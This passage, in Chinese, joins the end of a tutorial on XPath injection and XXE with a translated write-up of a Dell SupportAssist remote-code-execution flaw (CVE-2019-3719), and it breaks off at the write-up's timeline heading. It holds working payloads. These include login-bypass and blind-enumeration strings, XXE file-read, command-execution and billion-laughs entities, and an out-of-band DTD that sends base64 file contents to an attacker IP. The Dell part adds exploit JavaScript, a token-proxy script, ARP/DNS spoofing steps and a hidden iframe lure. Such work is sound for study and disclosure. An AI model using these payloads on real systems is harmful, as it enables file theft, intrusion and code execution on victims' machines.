XPath注入攻击可以保证得到完整的XML文档，即完整的数据库。只要Web服务应用具有基本的安全漏洞，即可构造针对 XPath应用的自动攻击。
#### Xpath注入攻击原理与利用
XPath注入攻击主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web
应用程序，通过执行XPath查询而执行入侵者想要的操作。
注入对象不是数据库users表，而是一个存储数据的XML文件。因为xpath不存在访问控制，所以不会遇到许多在SQL注入中经常遇到的访问限制。
注入出现的位置也就是`cookie`，`headers`，`request` `parameters/input`等。
[Xpath基本语法](https://www.cnblogs.com/wendyw/p/11633588.html)
[xPath注入学习之基础语法学习](https://www.freebuf.com/column/211251.html)
如果一个网站某应用程序将数据保存在XML中，并且对用户的输入没有做限制，攻击者提交了没有经过处理的输入，就插入到 XPath
查询中，即产生Xpath注入，那么就攻击者就可能通过控制查询，获取数据，或者删除数据之类的操作。
Xpath是xml路径语言，用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web
应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面，搜索页面需要与xml交互的位置。
**1、Xpath直接注入**
示例代码：
test2.xml(存储用户名和密码)
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
2.php(用于接收传入参数，并进行XML查询)
<?php
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>
**[`simplexml_load_file()`函数](http://www.w3school.com.cn/php/func_simplexml_load_file.asp)**
返回类 SimpleXMLElement 的一个对象，该对象的属性包含 XML 文档中的数据
正常查询：`/root/users/user[username/text()='test1'and password/text()='test1']`
攻击者在`username`字段中输入：`' or 1=1 or ''='`
变成`/root/users/user[username/text()='' or 1=1 or ''='' and
password/text()='1']`，成功获取所有user数据。上面这个字符串会在逻辑上使查询一直返回 `true` 并将一直允许攻击者访问系统。
攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲注技术获取最高权限帐号和其它重要文档信息。
**2、XPath盲注**
如果遍历出整个XML文档，一般步骤如下：
_1.盲注根节点_
利用count（/*）判断根下节点：
http://127.0.0.1/xml/2.php?name=' or count(/*) = 1 or '1' = '2
有返回结果证明存在一个根节点。
利用substring分割根节点的每个字符，猜解第一级节点：
http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2
http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2
...
最终结果: root
_2.盲注root的下一级节点_
判断root的下一级节点数：
http://127.0.0.1/xml/2.php?name=' or count(/root/*) = 1 or '1' = '2
有返回结果证明存在一个root的下一级节点。
猜解root的下一级节点：
http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2
最终结果:users
重复上述步骤，直至猜解出所有节点，最后来猜解节点中的数据或属性值。
#### Xpath注入攻击危害
* 在URL及表单中提交恶意XPath代码，可获取到权限限制数据的访问权，并可修改这些数据。
* 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
* 逻辑以及认证被绕过，它不像数据库那样有各种权限，xml没有各种权限的概念,正因为没有权限概念，因此利用xpath构造查询的时候整个数据库都会被用户读取。
#### Xpath注入攻击防御
1. 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。
2. 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串。
3. 对于系统出现的错误信息，以IE错误编码信息替换，屏蔽系统本身的出错信息。
4. 参数化XPath查询，将需要构建的XPath查询表达式，以变量的形式表示，变量不是可以执行的脚本。
5. 通过MD5、SSL等加密算法，对于数据敏感信息和在数据传输过程中加密，即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息。 总结下就是：限制提交非法字符，对输入内容严格检查过滤，参数化XPath查询的变量。
### 0x05 XML外部实体注入(XXE)
#### XXE漏洞简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成
**任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击** 等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。
解析xml在php库libxml，libxml>=2.9.0的版本中没有XXE漏洞。
[simplexml_load_string()](https://www.runoob.com/php/func-simplexml-load-string.html)可以读取XML
#### XXE本地搭建环境测试
xxe.php
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
* `file_get_contents`获取客户端输入内容
* `new DOMDocument()`初始化XML解析器
* `loadXML($xmlfile)`加载客户端输入的XML内容
* `simplexml_import_dom($dom)`获取XML文档节点，如果成功则返回SimpleXMLElement对象，如果失败则返回FALSE。
* 获取SimpleXMLElement对象中的节点XXE，然后输出XXE内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>
#### XXE常见利用方式
与SQL相似，XXE漏洞也分为有回显和无回显
有回显，可以直接在页面中看到payload的执行结果或现象。
无回显，又称为blind xxe，可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
##### 1、读取任意文件
首先准备一个有XXE漏洞的文件，这里以php文件为例
示例代码
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
读取文件，需URL编码后执行。
通过 **构造外部实体payload** ，在 xml 中 `&file ;` 变成了外部文件`qwzf.txt`中内容，导致敏感信息泄露。
**靶场练习**
使用一下靶场练习回显读取文件和无回显读取文件：[xxe-lab](https://github.com/c0ny1/xxe-lab)
输入，抓包发包，发现通过XML传输数据
php源码
<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
1. 有回显
构造payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///d:/qwzf.txt">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
当然，也可以使用`php://filter`协议读取qwzf.txt文件内容(也可以读取其他类型的文件，如：php文件)
php://filter/read=convert.base64-encode/resource=
1. 无回显
修改源码，禁掉输出代码和报错信息，改成无回显。
遇到无回显，可以通过`Blind
XXE`方法加上外带数据通道来提取数据，先使用`php://filter`协议获取目标文件的内容，然后将内容以`http`请求发送到攻击服务器来读取数据。虽无法直接查看文件内容，但我们可以使用易受攻击的服务器作为代理，在外部网络上执行扫描以及代码。即，当无回显情况时，可以将数据发送到远程服务器(攻击服务器)。
这里我使用的攻击机ip为：`192.168.201.128`
构造payload
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/qwzf.txt">
<!ENTITY % dtd SYSTEM "http://192.168.201.128/evil.dtd">
%dtd;
%send;
]>
远程服务器部署evil.dtd内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload;
%要进行实体编码`%`
进行XXE攻击后，服务器会把文件内容发送到攻击者服务器(这里是ubantu的apache日志记录)
ubantu查看apache日志记录命令：
tail -f /var/log/apache2/access.log
本地抓包也可以看到Base64编码后的文件内容
_无回显攻击流程：_
* 先调用`%dtd`，请求远程服务器(攻击服务器)上的`evil.dtd`。
* 再调用 `evil.dtd`中的 `%file`。`%file` 获取受攻击的服务器上面的敏感文件，然后将 `%file` 的返回结果传到`%send` 。
* 然后调用 `%send;` 把读取到的数据发送到远程服务器上。
这样就实现了外带数据的效果，解决 XXE 无回显的问题。
**使用并分析恶意脚本**
xxe2.php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
读取文件.py
#!/usr/bin/python
# -*- coding:utf-8 -*- import urllib2
if __name__ == '__main__':
print u'输入要访问的地址，如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
print u'输入要读取的文件，如file:///etc/passwd'
payload = raw_input()
headers = {'Content-type': 'text/xml'}
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
req = urllib2.Request(url = url,headers = headers, data = xml)
res_data = urllib2.urlopen(req)
res = res_data.read()
print res
通过urllib2的request方法用POST方式向目标地址发送XML数据，返回的数据即为服务器相关文件内容。
##### 2、执行系统命令
在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
通过XXE可以实现RCE的实例很少。
##### 3、拒绝服务攻击(Dos)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
**原理** ：递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10
次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol”
字符串,最后再引用lol9。
##### 4、探测内网端口与攻击内网网站
**探测内网端口**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
3306端口开放
3389端口未开放
**攻击内网网站**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
### 0x06 XXE漏洞防御
**1、使用开发语言提供的禁用外部实体的方法**
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
**2、过滤用户提交的XML数据**
过滤关键字：`<\!DOCTYPE`和`<\!ENTITY`，或者`SYSTEM`和`PUBLIC`。
**3、不允许XML中含有自己定义的DTD**
### 0x07 后记
总算把常见XML漏洞学完了，这里重点学习了XXE漏洞(XML外部实体注入)。整体来说，收获很大。
参考博客：
[XML实体注入漏洞](https://www.cnblogs.com/xiaozi/p/5785165.html)
[漏洞利用: XML外部实体（XXE）注入](https://bbs.ichunqiu.com/thread-44650-1-7.html) | 社区文章 |
# 戴尔电脑SupportAssist严重缺陷 可导致客户机RCE
|
##### 译文声明
本文是翻译文章，文章原作者 d4stiny，文章来源：d4stiny.github.io
原文地址：<https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
你在使用哪一款电脑？谁制作的？你有没有想过你的电脑自带哪些东西？当提到各种远程代码执行漏洞时，我们可能会想到操作系统中的这类漏洞，另一个攻击向量则是”我的电脑上有哪些第三方软件？”。在本文中，我将介绍我在[SupportAssist](https://www.dell.com/support/contents/us/en/04/article/product-support/self-support-knowledgebase/software-and-downloads/supportassist)(戴尔驱动助手)上发现的一个远程代码执行漏洞，该软件”会主动检查系统硬件和软件的运行状况”，并且”已预装在大多数运行Windows操作系统的全新戴尔设备上”。
## 发现漏洞
在去年9月份，我使用了七年之久的MacbookPro再也无法正常工作了，我在市场上买了一台新的笔记本电脑。我的目标是一台价格实惠，性能出众的笔记本，于是我选择了戴尔的G3
15。同时，我将1TB的机械硬盘升级为SSD。在升级完毕，重装windows后，需要重新安装驱动程序。这时事情开始变得有趣起来。访问戴尔服务站点后，我发现一个有趣的选项。
“Detect PC（检测个人电脑）”？它是怎么实现的呢？抱着这个疑问，我点击了它，看看会发生什么。
这是一个自动安装驱动的程序。尽管这点非常方便，但看起来有些风险。因为我的电脑刚刚重装，所以没有安装代理，我决定继续安装驱动，看看会发生什么。戴尔声称可以通过网站来更新用户的驱动，这非常可疑。
单击安装按钮，就可以轻松安装它。在系统后台，驱动助手创建了`SupportAssist代理`和`Dell
硬件助手`服务。这些服务由一些.NET编写的二进制文件构成，因此我可以轻松对其 **逆向分析** 。安装完成后，我回到戴尔站点，看看它能检测什么。
我打开Chrome开发者工具，选择网络栏，然后点击网页上的”Detect Drivers”。
这个网站会发送请求至我的笔记本上本地的8884端口。使用 **Process Hacker**
我发现`SupportAssist代理`在这个端口上开启了一个web服务器。这个端口上暴露着各种戴尔服务的空闲API接口，用于与戴尔网站发出的各种请求进行通信。观察web服务器的响应，可以发现它严格遵循
**Access-Control-Allow-Origin：<https://www.dell.com>**策略，防止接受其他网站发出的请求。
在web浏览器端，客户需要提供一个签名，该签名用于验证各种命令。向`https://www.dell.com/support/home/cn/zh/cndhs1/drivers/driversbyscan/getdsdtoken`发出请求可以生成签名，即使签名过期，再次生成也可以使用。点击开始下载驱动程序，接下来的请求非常有趣：
POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Origin: https://www.dell.com
Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
内容：
[
{
"title":"Dell G3 3579 and 3779 System BIOS",
"category":"BIOS",
"name":"G3_3579_1.9.0.exe",
"location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
"isSecure":false,
"fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
"run":false,
"restricted":false,
"fileId":"198393521",
"fileSize":"13 MB",
"checkedStatus":false,
"fileStatus":-99,
"driverId":"4WW45",
"path":"",
"dupInstallReturnCode":"",
"cssClass":"inactive-step",
"isReboot":true,
"DiableInstallNow":true,
"$$hashKey":"object:175"
}
]
这表明似乎web客户端可以直接向`SupportAssist代理`服务发出请求来运行”下载并手动安装”程序。于是，我开始在`SupportAssist代理`上搜寻web服务器，试图找出它可以发出哪些命令。
首先，戴尔驱动助手会在8884，8883，8886或8885端口上开启一个web服务器（System.Net.HttpListener）。选择哪个端口取决于哪些时开放的，默认选择8884。在请求中，`HttpListenerServiceFacade`上的`ListenerCallback`会调用`ClientServiceHandler.ProcessRequest`。
`ClientServiceHandler.ProcessRequest`是web服务器的基础方法，该方法会对请求进行完整性检查以及其他的检查，确保请求来自本地服务器。接下来我将介绍完整性检查的一些问题，前面讲的东西对实现RCE不是很重要。
对我们进行完整性检查的重点是`ClientServiceHandler.ProcessRequest`，尤其是`referrer`部分。`ProcessRequest`会调用以下函数确保我来自戴尔官方网站：
// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
public static bool ValidateDomain(Uri request, Uri urlReferrer)
{
return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
}
// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
public static bool ValidateDomain(string domain)
{
return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
}
上面这个函数事实上不可靠，不能有效地检查我来自哪里，反而帮助了黑客。为了绕过Referer/Origin的检查，我总结了几个方法：
1. 在戴尔任意站点上找出一个XSS漏洞（找到后我需要将其指向驱动助手的站点）
2. 找出一个子域名接管漏洞
3. 从本地程序发出请求
4. 生成随机子域名名称，然后使用外部机器DNS劫持受害者。然后，如果受害者访问[random].dell.com，我可以在服务器上获取响应。
最后我选择第四个方法，后续我会解释原因。验证请求的Referer/Origin后，`ProcessRequest`根据GET，POST和OPTIONS将请求发送至对应的函数。
当我继续了解戴尔驱动助手是如何工作时，我拦截到很多来自戴尔支持站点的不同类型的请求。由于我的笔记本有很多待定的更新，我能够在浏览器控制台中持续拦截到请求。
首先，网站通过固定的端口定期与服务方法”isalive”通信，从而检测驱动助手。有意思的是，它传递了一个”Signature”参数和一个”Expires”参数。为了获取更多信息，我对浏览器端的JS做了逆向分析，发现了下面几点：
1. 首先，浏览器向`https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken`发出请求，获取最新的”Token”值，或者说我前面提到的签名。同时，这个端点还提供了”Expires Token”。这解决了签名的问题。
2. 下一步，浏览器以下面这个格式向每个服务端口发出请求：`http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]`。
3. 正确的服务端口收到请求后，驱动助手客户端发出下面这种格式的响应：
{
"isAlive": true,
"clientVersion": "[CLIENT VERSION]",
"requiredVersion": null,
"success": true,
"data": null,
"localTime": [EPOCH TIME],
"Exception": {
"Code": null,
"Message": null,
"Type": null
}
}
4. 浏览器收到这个响应后，确定服务端口，并持续通过这个端口发出进一步请求。
在观察我可以发出的各种请求时，我注意到通过“getsysteminfo”路由获取我的电脑上所有硬件的具体信息。通过跨站脚本，我也可以获取这些数据，这其实也是漏洞，因为我完全可以收集系统的指纹，找出一些敏感信息。
下面是驱动助手代理公开的一些方法：
clientservice_getdevicedrivers - Grabs available updates.
diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
downloadservice_downloadfiles - Downloads a JSON array of files.
clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
clientservice_getservicetag - Grabs the service tag.
localclient_img - Connects to SignalR (Dell Hardware Support).
diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
diagnosticsservice_launchtool - Launches a diagnostic tool.
diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
downloadservice_createiso - Download an ISO.
clientservice_checkadminrights - Check if the Agent privileged.
diagnosticsservice_performinstallation - Update SupportAssist.
diagnosticsservice_rebootsystem - Reboot system.
clientservice_getdevices - Grab system devices.
downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
downloadservice_createbootableiso - Download bootable iso.
diagnosticsservice_isalive - Heartbeat check.
downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
clientservice_getscanresults - Gets driver scan results.
downloadservice_restartsystem - Restarts the system.
我对`downloadservice_downloadandautoinstall`非常感兴趣。它通过某个URL下载文件，并且执行它。当用户需要自动安装某些驱动程序时，浏览器会调用这个方法。
1. 找到哪些驱动需要更新后，浏览器会发出一个POST请求至 “[http://127.0.0.1:[SERVICEPORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]”。](http://127.0.0.1:%5BSERVICEPORT%5D/downloadservice/downloadandautoinstall?expires=%5BEXPIRES%5D&signature=%5BSIGNATURE%5D%22%E3%80%82)
2. 同时，浏览器发送的请求的内容为JSON格式：
[
{
"title":"DOWNLOAD TITLE",
"category":"CATEGORY",
"name":"FILENAME",
"location":"FILE URL",
"isSecure":false,
"fileUniqueId":"RANDOMUUID",
"run":true,
"installOrder":2,
"restricted":false,
"fileStatus":-99,
"driverId":"DRIVER ID",
"dupInstallReturnCode":0,
"cssClass":"inactive-step",
"isReboot":false,
"scanPNPId":"PNP ID",
"$$hashKey":"object:210"
}
]
3. 在做完基本完整性检查之后，ClientServiceHandler.ProcessRequest将发送ServiceMethod和参数给ClientServiceHandler.HandlePost。
4. ClientServiceHandler.HandlePost将所有参数放入一个数组，然后调用ServiceMethodHelper.CallServiceMethod方法。
5. ServiceMethodHelper.CallServiceMethod方法充当调度函数，调用ServiceMethod的函数。对于我们来说，就是上面的“downloadandautoinstall”方法：
if (service_Method == "downloadservice_downloadandautoinstall")
{
string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;
result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
}
然后调用DownloadServiceLogic.DownloadAutoInstall函数，提供的文件在我们的JSON payload中。
6. DownloadServiceLogic.DownloadAutoInstall函数其实是DownloadServiceLogic._HandleJson的包装器（i.e 处理异常）。
7. DownloadServiceLogic._HandleJson函数用于反序列化JSON中的payload，其中包含要下载的文件，然后在进行完整性检查：
foreach (File file in list)
{
bool flag2 = file.Location.ToLower().StartsWith("http://");
if (flag2)
{
file.Location = file.Location.Replace("http://", "https://");
}
bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
if (flag3)
{
DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
throw new InvalidFileException();
}
}
DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
上面的这段代码会循环遍历所有文件，检查我们提供的文件URL是否以 http:// 开头（如果不是，则替换为https://
），同时还会检查URL是否与Dell的下载服务器列表相匹配（不是所有戴尔子域）：
public static bool CheckDomain(string fileLocation)
{
List<string> list = new List<string>
{
"ftp.dell.com",
"downloads.dell.com",
"ausgesd4f1.aus.amer.dell.com"
};
return list.Contains(new Uri(fileLocation.ToLower()).Host);
}
最后，如果所有检查都通过了，文件将被发送至DownloadHandler.RegisterDownloadRequest方法，通过驱动助手下载并以管理员身份运行该文件。
OK，到现在我们已经获取到大量的信息了，足以我们编写漏洞利用程序。
## Exlpoitation
我们面临的第一个问题是如何向客户端的驱动助手程序发出请求。假设我们的身份是戴尔的某个子域，后面我将介绍我是如何做到这一点的。接下来我将模仿浏览器的行为，使用JS发送请求。
还有一件事，我们得先找到服务端口。通过发送请求给“/clientservice/isalive”，可以遍历预定义端口，最后找到服务端口。问题是我们需要提供签名值。通过发送请求至“[https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”，](https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken%E2%80%9D%EF%BC%8C)
我们可以获取签名值。
实际做起来并不像理论那样直接。获取签名的URL中“Access-Control-Allow-Origin”设置为“[https://www.dell.com”。](https://www.dell.com%E2%80%9D%E3%80%82)
这是一个问题，因为我们处于某个子域中，它可能不是https协议。我们想到一个解决办法，直接从自己的服务器发出请求！
从”getdsdtoken”获取的签名适用于所有机器。我制作了一个简单的PHP脚本来抓取签名值：
<?php
header('Access-Control-Allow-Origin: *');
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
?>
标头设置为允许任何人发出请求，我们只是获取签名，用作“getdsdtoken”路由的代理。“getdsdtoken”路由返回带有签名和到期时间的JSON。我们可以在结果上使用JSON.parse函数导出签名值，并放入javascript对象中。
现在我们有了签名值和到期时间，可以开始发出请求了。我创建了一个循环遍历端口的函数，如果我们找到服务端口，我们将`server_port`全局变量设置为这个端口：
function FindServer() {
ports.forEach(function(port) {
var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
});
}
确定服务器后，我们可以发送payload了。这是最困难的一步，在通过“downloadandautoinstall”执行payload之前，我们遇到了非常大的困难。
从最困难开始，驱动助手客户端确定了文件来源位置的白名单。它的来源主机 **必须**
为“ftp.dell.com”，“downloads.dell.com”或“ausgesd4f1.aus.amer.dell.com”其中的一个。我放弃了这点，因为我在它们上面找不到任何重定向漏洞。后来我发现，可以尝试中间人攻击。
如果我们使驱动助手客户端发送http类型的请求，我们就可以轻松拦截，更改响应！这解决了最大的问题。
第二个困难是，我发现解决第一个问题的方法被针对了。我前面提到过，如果客户端发现URL开始是http:// ，它将被替换为https://
。我们无法拦截，更改使用https协议的的请求。绕过这点的关键在于”如果客户端发现URL是http:// ，它将被替换为https://
“。OK，如果URL不以http:// 开始，而是插入了http:// ，那么就不会被替代。找到这样一个URL不是一件容易事，最后我找出了”
<http://downloads.dell.com/abcdefg>“ （前面的空格有意义）。这样成功绕过检查，因为字符串以”
“开头，从而保留了”http:// “。
我写了下面这个函数，用于发送payload：
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
下面可以从局域网入手，开展攻击。下面是我在Poc中攻击者的机器中的操作：
1. 抓取局域网区域目标主机的IP地址。
2. 启动模拟的Web服务器，提供我们要发送的有效负载的文件名。Web服务器会检查主机头是否是`downloads.dell.com`，如果是，则发送二进制文件的payload。如果请求主机中包含dell.com但不是downloads域，则发送我们上面这段javascript payload。
3. 对受害者进行ARP欺骗，启用ip转发，然后向受害者发送一个ARP数据包，告诉它我们是路由器，再发送一个ARP数据包给路由，假装我们是受害者机器。在漏洞利用期间，每隔几秒重复发送这些数据包。结束后，将原始的mac地址发送给受害者和路由器。
4. 最后，我们通过iptables将DNS数据包转发到netfilter queue来进行DNS欺骗。同时监听这个netfilter queue，然后检查请求的DNS名是否为目标URL。如果是，我们发送一个伪造的DNS数据包，表示我们的IP是该URL后面的真实IP地址。
5. 当受害者访问我们的子域名（直接通过url或间接通过iframe）时，会自动发送恶意javascript payload，找到驱动助手代理的服务端口，通过我们前面创建的php文件中获取签名，然后发送RCE的payload。当驱动助手代理程序处理RCE有效负载时，它会向`downloads.dell.com`发送请求，下载并执行我们的二进制payload。
你可以[在此处](https://www.dell.com/support/article/us/en/19/sln316857/dsa-2019-051-dell-supportassist-client-multiple-vulnerabilities)阅读戴尔官方的公开的信息。
## 攻击演示
下面是该漏洞简单的一段Poc演示视频。你可以在[这里](https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC)下载poc的源码。
<https://youtu.be/0cTfnZ04jgQ>
视频中的dellrce.html内容为：
<h1>CVE-2019-3719</h1>
<h1>Nothing suspicious here... move along...</h1>
<iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>
### 时间线
